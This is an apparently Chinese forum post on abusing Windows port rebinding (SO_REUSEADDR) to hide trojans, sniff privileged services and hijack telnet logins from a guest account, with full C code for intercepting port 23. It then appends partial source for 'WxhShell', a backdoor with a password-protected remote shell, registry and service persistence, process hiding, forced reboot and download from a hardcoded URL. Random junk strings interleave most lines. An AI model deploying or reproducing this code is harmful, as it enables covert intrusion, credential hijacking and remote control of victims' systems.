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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s%6L94\t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BJ fBY H,M  
d5R2J:dI  
  saddr.sin_family = AF_INET; Wvl'O'R  
'0&HkM{ D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7| j rk  
SxcE@WM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5~E{bW$  
N$.ls48a4-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3Ljj|5.q  
!0):g/2h  
  这意味着什么?意味着可以进行如下的攻击: L6ypn)l  
>enP~uW[#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Kq+vAp).  
\nL@P6X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IMpL+W.  
QXEZ?gx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ) M(//jX  
C+mPl+}w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3x z z* <  
Uv=)y^H~*A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q^<;B Y  
(Fq]y5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #$!^1yO  
w]N;HlU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A.r.tf}:  
M*~XpT3  
  #include Y$+v "  
  #include r|/9'{!  
  #include (/t{z =  
  #include    KxfH6:\RB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Lw?>1rTT/  
  int main() 0G+ qF96  
  { :r{W)(mm  
  WORD wVersionRequested; Kf)$/W4  
  DWORD ret; TY` R_  
  WSADATA wsaData; [?g}<fa  
  BOOL val; %%h.`p1  
  SOCKADDR_IN saddr; [d>2F  
  SOCKADDR_IN scaddr; A-$ C6q   
  int err; -Q ];o~  
  SOCKET s; l^$U~OB8k  
  SOCKET sc; F:.8O ,%u  
  int caddsize; %uo#<Ny/ I  
  HANDLE mt; 4=& d{.E  
  DWORD tid;   th0>u.hJ  
  wVersionRequested = MAKEWORD( 2, 2 ); -; i:bE  
  err = WSAStartup( wVersionRequested, &wsaData ); XZ3M~cD q  
  if ( err != 0 ) { f;&XTF5D^  
  printf("error!WSAStartup failed!\n"); 6r[pOl:  
  return -1; `;m0GU68  
  } j2 >WHh  
  saddr.sin_family = AF_INET; M[_Ptqjb  
   xq%BR[1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p-7?S^!l  
LVL#qNIu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ICTjUQP  
  saddr.sin_port = htons(23); H3Zt 3l1u+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) " ;\EU4R  
  { )k `+9}OO  
  printf("error!socket failed!\n"); q'X#F8v  
  return -1; v)*eLX$  
  } .l,NmF9  
  val = TRUE; a@?ebCE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e >7Ka\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0-d&R@lX.  
  { nGTqW/k[+s  
  printf("error!setsockopt failed!\n"); gDH|I;!  
  return -1; '6T  *b  
  } -W|~YK7e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zT hut!O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .Lm`v0' w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y)M-?|4  
vgr 5j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u(`7F(R  
  { eYv+tjIF  
  ret=GetLastError(); +bWo{   
  printf("error!bind failed!\n"); 1O90 ]c0  
  return -1; H;FzWcm  
  } `_J>R  
  listen(s,2); M IUB]  
  while(1) | Y(  
  { :a( Oc'T  
  caddsize = sizeof(scaddr); 7? ="{;  
  //接受连接请求 SNHAL F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^)3=WD'!  
  if(sc!=INVALID_SOCKET) 7~H$p X  
  { b1Ba}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )_Iu7b  
  if(mt==NULL) [-#q'S  
  { ]\3<UL  
  printf("Thread Creat Failed!\n"); Jb8%A@Z+  
  break; J^pq<   
  } 1L3 $h0i  
  } j<L!(6B  
  CloseHandle(mt); Uz `OAb  
  } l!}7GWj  
  closesocket(s); Ek '% % %  
  WSACleanup(); :~,V+2e  
  return 0; k{^iv:  
  }   pq]>Ep  
  DWORD WINAPI ClientThread(LPVOID lpParam) +1Rz+  
  { [Lf8*U"  
  SOCKET ss = (SOCKET)lpParam; z_Pq5  
  SOCKET sc; h<BTu7a`r  
  unsigned char buf[4096]; z,SNJIsx  
  SOCKADDR_IN saddr; tz%H1 `  
  long num; BR~+CBH  
  DWORD val; /8lmNA  
  DWORD ret; ~A*$+c(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OX.g~M ig|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gZ  {  
  saddr.sin_family = AF_INET; b .xG'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s>ZlW:jY  
  saddr.sin_port = htons(23); nTz( {q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }wGy#!CSza  
  { q9(hn_X@/  
  printf("error!socket failed!\n"); k| >zauK  
  return -1; sTi3x)#xB  
  } Qmj%otSg  
  val = 100; 3u= >Y^wu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +3-f$/po  
  { ~fz9PoC  
  ret = GetLastError(); TnPx.mwK\  
  return -1; }DkdF  
  } %){)/~e&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +`.,6TNVlY  
  { W0# VDe]>  
  ret = GetLastError(); (gUxS.zU  
  return -1; { b7%Zd3-  
  } AH# Dk5#G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3O?[Yhk`.  
  { 2| ERif;)  
  printf("error!socket connect failed!\n"); ,)t/1oQ}>^  
  closesocket(sc); '\Uy;,tu /  
  closesocket(ss); xx[l#+:c  
  return -1; Kd3EZo.  
  } bHmn0fZ9  
  while(1) Xm^/t#  
  { !JPZ7_nn  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g|x* sZR~Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 VOrBNu  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2?c%<_jPA  
  num = recv(ss,buf,4096,0); h%U,g 9_  
  if(num>0) e|.a%,Dcy  
  send(sc,buf,num,0); zR }vw{  
  else if(num==0) /Au7X'}  
  break; ?4lEHef  
  num = recv(sc,buf,4096,0); `FIS2sl/  
  if(num>0) K%NgZ(x(  
  send(ss,buf,num,0); IlMst16q5  
  else if(num==0) A{\!nq_~N  
  break; e `IL7$  
  } s"0Hz"[^=  
  closesocket(ss); e1 P(-V  
  closesocket(sc); u!I=|1s  
  return 0 ; 0|`iop%(n  
  } 3 >G"&T{  
`5t CmU  
DM*u;t{i  
========================================================== =~{W;VZt'  
Zs}EGC~&  
下边附上一个代码,,WXhSHELL p/Lk'h~  
X5o{d4R L  
========================================================== WD?COUEox  
!R1OSVFp  
#include "stdafx.h" kr5'a:F)  
*&rV}vVP^  
#include <stdio.h> (Z at|R.F  
#include <string.h> *vIC9./  
#include <windows.h> '=>l& ;  
#include <winsock2.h> C: a</Sl  
#include <winsvc.h> 6g%~~hX  
#include <urlmon.h> B3V+/o6  
H@ .1cO  
#pragma comment (lib, "Ws2_32.lib") hg}R(.1K=  
#pragma comment (lib, "urlmon.lib") [knwp$  
+cx(Q(HD\  
#define MAX_USER   100 // 最大客户端连接数 8DZ OPA  
#define BUF_SOCK   200 // sock buffer 2B=+p83<  
#define KEY_BUFF   255 // 输入 buffer t$b{zv9C  
cW\Y1=Gv|  
#define REBOOT     0   // 重启 3+ WostOx  
#define SHUTDOWN   1   // 关机 ,PZ[CX;H@  
\$D41_Wt|  
#define DEF_PORT   5000 // 监听端口 9l:vVp7Uk  
H4g1@[{|0O  
#define REG_LEN     16   // 注册表键长度 >d5L4&r  
#define SVC_LEN     80   // NT服务名长度 z]R)Bh  
>Ms_bfSK  
// 从dll定义API #%SF2PB;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e^Glgaf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y EhPAQNj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5:X^Q.f;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n_46;lD  
.0#{ ?R,  
// wxhshell配置信息 UpCkB}OhR1  
struct WSCFG { "!_,N@\t  
  int ws_port;         // 监听端口 WEk3 4crk  
  char ws_passstr[REG_LEN]; // 口令 yo"!C?82=  
  int ws_autoins;       // 安装标记, 1=yes 0=no '7>Yr zq  
  char ws_regname[REG_LEN]; // 注册表键名 hwd{^  
  char ws_svcname[REG_LEN]; // 服务名 (j884bu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wVtBH_>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \-R\xL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?/^x)Nm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E sx`UG|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3B[u2o>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pJ H@v &a  
`NARJ9M   
}; EF[I@voc  
jin XK  
// default Wxhshell configuration h&m4"HBL_  
struct WSCFG wscfg={DEF_PORT, n3JSEu;J  
    "xuhuanlingzhe", 2qfKDZ9f^  
    1, q;H5S<]/  
    "Wxhshell", vy1N, 8a  
    "Wxhshell", Q(ec>+oi  
            "WxhShell Service", \6K1Z!*;  
    "Wrsky Windows CmdShell Service", vON1\$bu `  
    "Please Input Your Password: ", 5{O9<~,  
  1, k|[86<&[  
  "http://www.wrsky.com/wxhshell.exe", *K2fp=Ns  
  "Wxhshell.exe" $BWA= 2$  
    }; QeipfK+me  
Lo^gg#o  
// 消息定义模块 \:`-"Ou(*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ()%;s2>F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xo~kB)|,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I<LIw8LI  
char *msg_ws_ext="\n\rExit."; `ls^fnJTpf  
char *msg_ws_end="\n\rQuit."; P'D'+qS  
char *msg_ws_boot="\n\rReboot..."; f l*O)r  
char *msg_ws_poff="\n\rShutdown..."; ~ U`|+ 5  
char *msg_ws_down="\n\rSave to "; "IKbb7x  
[Cf{2WB:7  
char *msg_ws_err="\n\rErr!"; 9Ts rg  
char *msg_ws_ok="\n\rOK!"; Qvhz$W[P>  
sD ,FJ:dy  
char ExeFile[MAX_PATH]; +IPMI#n  
int nUser = 0; - {|  
HANDLE handles[MAX_USER]; Xe>   
int OsIsNt; pm k;5 d  
6V6,m4e  
SERVICE_STATUS       serviceStatus; D}A>`6W<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hxx`f-#=  
A<<Bm M.%  
// 函数声明 `w/b];e1)  
int Install(void); T +~ _D  
int Uninstall(void); +a!uS0fIJi  
int DownloadFile(char *sURL, SOCKET wsh); Sx}61?  
int Boot(int flag); R\,qL-Br  
void HideProc(void); &)#bdt[  
int GetOsVer(void); =Z}=nS?4  
int Wxhshell(SOCKET wsl); ,G!mO,DX  
void TalkWithClient(void *cs); w@&(=C  
int CmdShell(SOCKET sock); h^ =9R6im  
int StartFromService(void); &VfMv'%x  
int StartWxhshell(LPSTR lpCmdLine); /eNDv(g)M  
"?#O*x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `/L D:R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I18<brZJ  
ZIikDi h1  
// 数据结构和表定义 cSWn4-B@l  
SERVICE_TABLE_ENTRY DispatchTable[] = ?N(opggiD  
{ W+D{4:  
{wscfg.ws_svcname, NTServiceMain}, 31=v US  
{NULL, NULL} Kuy0Ci  
}; U((mOm6  
{;E]#=|  
// 自我安装 mv\S1[<T  
int Install(void) fi;00>y  
{ o`<ps$ yT  
  char svExeFile[MAX_PATH]; }N%uQP#I  
  HKEY key; bbxo!K m"  
  strcpy(svExeFile,ExeFile); :zLeS-  
w-?|6I}T  
// 如果是win9x系统,修改注册表设为自启动 |]'0z0>  
if(!OsIsNt) { Xgyi}~AoaU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *zTEK:+_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  V4q v7  
  RegCloseKey(key); 7o4B1YD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +w'He9n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )2mvW1M=7;  
  RegCloseKey(key); J{h?=vK  
  return 0; d+Au`'{>  
    } +[Zcz4\9  
  } ]B>g~t5J  
} wwVg'V;  
else { n>aH7  
i*2l4  
// 如果是NT以上系统,安装为系统服务 ]0@ 06G(y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KG9FR*"  
if (schSCManager!=0) Ze-MB0w  
{ q"|#KT^)  
  SC_HANDLE schService = CreateService *e}1KcJ  
  ( `d6,]'  
  schSCManager, B[B(=4EzMP  
  wscfg.ws_svcname, h&j9'  
  wscfg.ws_svcdisp, o=ULo &9  
  SERVICE_ALL_ACCESS, 3?:?dy(3z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E{W(5.kb;i  
  SERVICE_AUTO_START,  O)?  
  SERVICE_ERROR_NORMAL, _yP02a^2  
  svExeFile, U Rb  
  NULL, :1,xse  
  NULL, Xl\yOMfp  
  NULL, (Q~ (t  
  NULL, NQqq\h  
  NULL tX7TP(  
  ); ST7Xgma-  
  if (schService!=0) I^itlQ  
  { X Cf!xIv  
  CloseServiceHandle(schService); -P[bA0N,  
  CloseServiceHandle(schSCManager); t o2y#4'.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?Y | *EH  
  strcat(svExeFile,wscfg.ws_svcname); ; 6*Ag#Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F|&=\Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qbu5aK}+  
  RegCloseKey(key); #,PB(  
  return 0; (3fU2{sm  
    } :Yy8Ie#  
  } 1H]E:Bq  
  CloseServiceHandle(schSCManager); XX|wle1Kg  
} HC\\w- `<  
} ' &j]~m  
![CF >:e  
return 1; }&:F,q*  
} k%fy  
QB|D_?]  
// 自我卸载 -e(,>9Q  
int Uninstall(void) v'X=|$75  
{ %x zgTZ  
  HKEY key; tF=Y3W+L  
;gmfWHB<  
if(!OsIsNt) { ;OD+6@Sr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9a;8^?Ld%S  
  RegDeleteValue(key,wscfg.ws_regname); dpI9DzA;  
  RegCloseKey(key); *, RxOz2=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9HJA:k*k|  
  RegDeleteValue(key,wscfg.ws_regname); ?)V}_%fVv  
  RegCloseKey(key); r(uf yC&  
  return 0; z(dX<  
  } /aHx'TG  
} Th(F^W9  
} qs'ggF1  
else { H]JVv8  
K`% I!Br  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z3>oUq{  
if (schSCManager!=0) 6K 6uB ~  
{ kx_PMpc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EU@XLm6  
  if (schService!=0) sg!* %*XQ  
  { ` "JslpN  
  if(DeleteService(schService)!=0) { 5xF R7%_&  
  CloseServiceHandle(schService); ;V"(! 'd  
  CloseServiceHandle(schSCManager); 2lm{:tS  
  return 0; zgR@-OtFZ  
  } m"RE[dQ  
  CloseServiceHandle(schService); }R]^%q@&  
  } b/g"ws_  
  CloseServiceHandle(schSCManager); sB>ZN3ptH^  
} ZRr S""V  
} *)H&n>"e  
8NS1*\z  
return 1; ZFsJeF'"  
} "-;l{tL  
%B{NH~  
// 从指定url下载文件 !NfN16  
int DownloadFile(char *sURL, SOCKET wsh) Ap [}[:U  
{ M$Of.  
  HRESULT hr; G B &+EZ  
char seps[]= "/"; ={a_?l%  
char *token; "TgE@bC  
char *file; o) hQ]d  
char myURL[MAX_PATH]; @JL+xfz  
char myFILE[MAX_PATH]; u/8urxp y  
_hb@O2f  
strcpy(myURL,sURL); \dIQhF%%2  
  token=strtok(myURL,seps); /2\%X`]<  
  while(token!=NULL) >IzUn: 0F  
  { vHz]-Q-|9  
    file=token; /kY|PY  
  token=strtok(NULL,seps); P,[O32i#  
  } /Xd s+V^Z  
L9=D,C~  
GetCurrentDirectory(MAX_PATH,myFILE); T]fu[yRVvg  
strcat(myFILE, "\\"); CrIt h/Z  
strcat(myFILE, file); ~yvOR`2Gg  
  send(wsh,myFILE,strlen(myFILE),0); G`HL^/Z*  
send(wsh,"...",3,0); """gV)Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 01nbR+e  
  if(hr==S_OK) :z!N_]t  
return 0; UHEn+Tc>  
else '`*{ig  
return 1; JM@}+pX  
AGN5=K*D  
} 9w=GB?/  
R]7-6  
// 系统电源模块 ]$>O--  
int Boot(int flag) -K_p? l  
{ z|V5/"  
  HANDLE hToken; ~Zc=FP:1  
  TOKEN_PRIVILEGES tkp; 8SGFzb! h  
s2{d<0x?v  
  if(OsIsNt) { O,kzU,zOs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (,gpR4O[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %Hk9.1hn5  
    tkp.PrivilegeCount = 1; HCI|6{k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &O'6va  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )-_]y|/D:r  
if(flag==REBOOT) { .#,!&Lt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |-HV@c]  
  return 0; oT4A|M  
} 5xm^[o2#y  
else { . _5g<aw;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rSUarfZ<  
  return 0; 3K/32Wi  
} "Z&-:1tP{9  
  } 1N_Gk&  
  else { swBgV,;   
if(flag==REBOOT) { Nd.+Rs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n4cM /unU  
  return 0; 8X@p?43  
} |=^p`CT  
else { UvSvgDMl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fAu^eS%>7  
  return 0; "eq{_4dL  
} Zxm Mw  
} p9;Oe,Il  
cY|?iEVs)  
return 1; iyF~:[8  
} =kz(1Pb  
Q2c|sK8  
// win9x进程隐藏模块 j9@7\N<  
void HideProc(void)  :1q)l  
{ )T1U!n?^x  
[i 18$q5D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S <C'#vj  
  if ( hKernel != NULL ) .{` :  
  { /STFXR1@.u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZqhCGHy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j {w'#x,  
    FreeLibrary(hKernel); e`pYO]Z  
  } ,GB~Cmc1<Q  
zI5 #'<n  
return; 2sj[hI  
} 4+ BWHV  
nyyKA_#:5  
// 获取操作系统版本 t6GL/M4  
int GetOsVer(void) &_-,Nxsf  
{ UQ;ymTqdc  
  OSVERSIONINFO winfo; iGxlB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4l/hh|3@  
  GetVersionEx(&winfo); Yv?nw-HM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [?3]+xr :  
  return 1; nRYHp7`  
  else >h^CC*&'pw  
  return 0; &Kuo|=f  
} \K$9r=!(  
S]E1+,-*  
// 客户端句柄模块 KMO(f!?  
int Wxhshell(SOCKET wsl) d"K~+<V}  
{ {tUjUwhz(  
  SOCKET wsh; #wXq'yi  
  struct sockaddr_in client;  `mar-r_m  
  DWORD myID; 'R&Y pR  
J9!}8uD  
  while(nUser<MAX_USER) OAoTsqj6  
{ lSGtbSyDI  
  int nSize=sizeof(client); DQC=f8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |'$E -[  
  if(wsh==INVALID_SOCKET) return 1; .lclW0*  
?b?6/_W~R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gwyjie9t  
if(handles[nUser]==0) Wpgp YcPS  
  closesocket(wsh); 0(!j]w"r3  
else b-Q*!U t  
  nUser++; ;VhilWaF-  
  } |mx)W}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZY_aE  
%gK@ R3p  
  return 0; F1m 1%  
} 'Z(KE2&?  
^|u7+b'|t  
// 关闭 socket eIZ7uSl  
void CloseIt(SOCKET wsh) cK( )_RB#  
{ |;~kHc$W  
closesocket(wsh); v5 |XyN"  
nUser--; (OA-Mgyc  
ExitThread(0); W6~aL\[  
} ]q#w97BxiJ  
MIV<"A  
// 客户端请求句柄 L#t^:%   
void TalkWithClient(void *cs) >K|<hzZ  
{ s|p,UK  
( (.b&  
  SOCKET wsh=(SOCKET)cs; UH8q:jOi  
  char pwd[SVC_LEN]; nK95v}p}Y  
  char cmd[KEY_BUFF]; DrAp&A|WV|  
char chr[1]; Sn6cwf9.s  
int i,j; u'Od~x^z  
M)m(  
  while (nUser < MAX_USER) { %y7&~me  
JQi+y;  
if(wscfg.ws_passstr) { ??\1eo2gB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;Jh=7wx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *$%ch=  
  //ZeroMemory(pwd,KEY_BUFF); xIOYwVC  
      i=0; Ge'[AhA  
  while(i<SVC_LEN) { i5PZ)&  
QcW6o,  
  // 设置超时 wSy|h*a,  
  fd_set FdRead; l(irNKutgo  
  struct timeval TimeOut; 8iv0&91Z  
  FD_ZERO(&FdRead); eo#2n8I>=1  
  FD_SET(wsh,&FdRead); A_8UPGh8  
  TimeOut.tv_sec=8; )6~s;y!  
  TimeOut.tv_usec=0; ,,FO6+4f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6_G[&   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z-md$=+}w  
UF_?T.Rl^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hg2a,EU\Z  
  pwd=chr[0]; 8fI]QW  
  if(chr[0]==0xd || chr[0]==0xa) { $,b1`*  
  pwd=0; 'P AIh*qA  
  break; UFE# J  
  } 5`_UIYcI  
  i++; oouhP1py,  
    } be<7Vy]j  
1<9=J`(H  
  // 如果是非法用户,关闭 socket Quq X4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8QJ^@|7  
} DB=^Z%%Z  
/JqNiqvh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K~ch OX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (WCczXm)  
l:@`.'-=  
while(1) { 7>-"r*W +z  
. r?URC  
  ZeroMemory(cmd,KEY_BUFF); ' ?4 \  
-XJXl}M.  
      // 自动支持客户端 telnet标准   No\3kRB4bi  
  j=0; n<)gS7  
  while(j<KEY_BUFF) { G5oBe6\C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); > w-fsL  
  cmd[j]=chr[0]; oCxh[U@*D  
  if(chr[0]==0xa || chr[0]==0xd) { <MQTOz oj  
  cmd[j]=0; >D\jyd$wh&  
  break; .or1*-B K  
  } uo TTHj7cq  
  j++; P&sn IJ  
    } C j4ED  
ZZ? KD\S5  
  // 下载文件 {Mv$~T|e7  
  if(strstr(cmd,"http://")) { EGL7z`nt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x/d(" Bb  
  if(DownloadFile(cmd,wsh)) rOo |.4w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (nDen5Q|  
  else sZDxTP+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P\rA>ZY  
  } :Z R5<Y>  
  else { =C(((T.  
g7l?/p[n  
    switch(cmd[0]) { d#U~>wr  
  %.rVIc"  
  // 帮助 gebDNl\Y2  
  case '?': { qS!U1R?s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ivx]DXR|  
    break; olxnQYFo  
  } AxAbU7m  
  // 安装 E4cPCQyeH  
  case 'i': { U)Jwo O  
    if(Install()) PKg>|]Rf.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &&>Tfzh  
    else lc(}[Z/|V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WNK)IC~c  
    break; haSC[[o=  
    } DedY(JOvB  
  // 卸载 ^Z>Nbzr{  
  case 'r': { ~7$jW[i  
    if(Uninstall()) |44 E:pA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B1k;!@@1 4  
    else Koi-b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CeINODcT  
    break; laQ{nSVBm  
    } i `7(5L~`  
  // 显示 wxhshell 所在路径 (hi{ i  
  case 'p': { wv.HPmq  
    char svExeFile[MAX_PATH]; ,382O$C  
    strcpy(svExeFile,"\n\r"); :soR7oHZ  
      strcat(svExeFile,ExeFile); z5 g4+y,  
        send(wsh,svExeFile,strlen(svExeFile),0); DEQ7u`6  
    break;  V$fn$=  
    } hkDew0k  
  // 重启 ?BnX<dbi&  
  case 'b': { >*h3u7t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r E&}B5PN=  
    if(Boot(REBOOT)) pC/13|I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZkqZO#nq C  
    else { a^7HI,  
    closesocket(wsh); $g!iy'4n*  
    ExitThread(0); `&jG8lHa  
    } 1xDh[:6  
    break; PlRcrT"#w  
    } k9!eu j&  
  // 关机 h'"~t#r  
  case 'd': { >c=-uI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ftaa~h*  
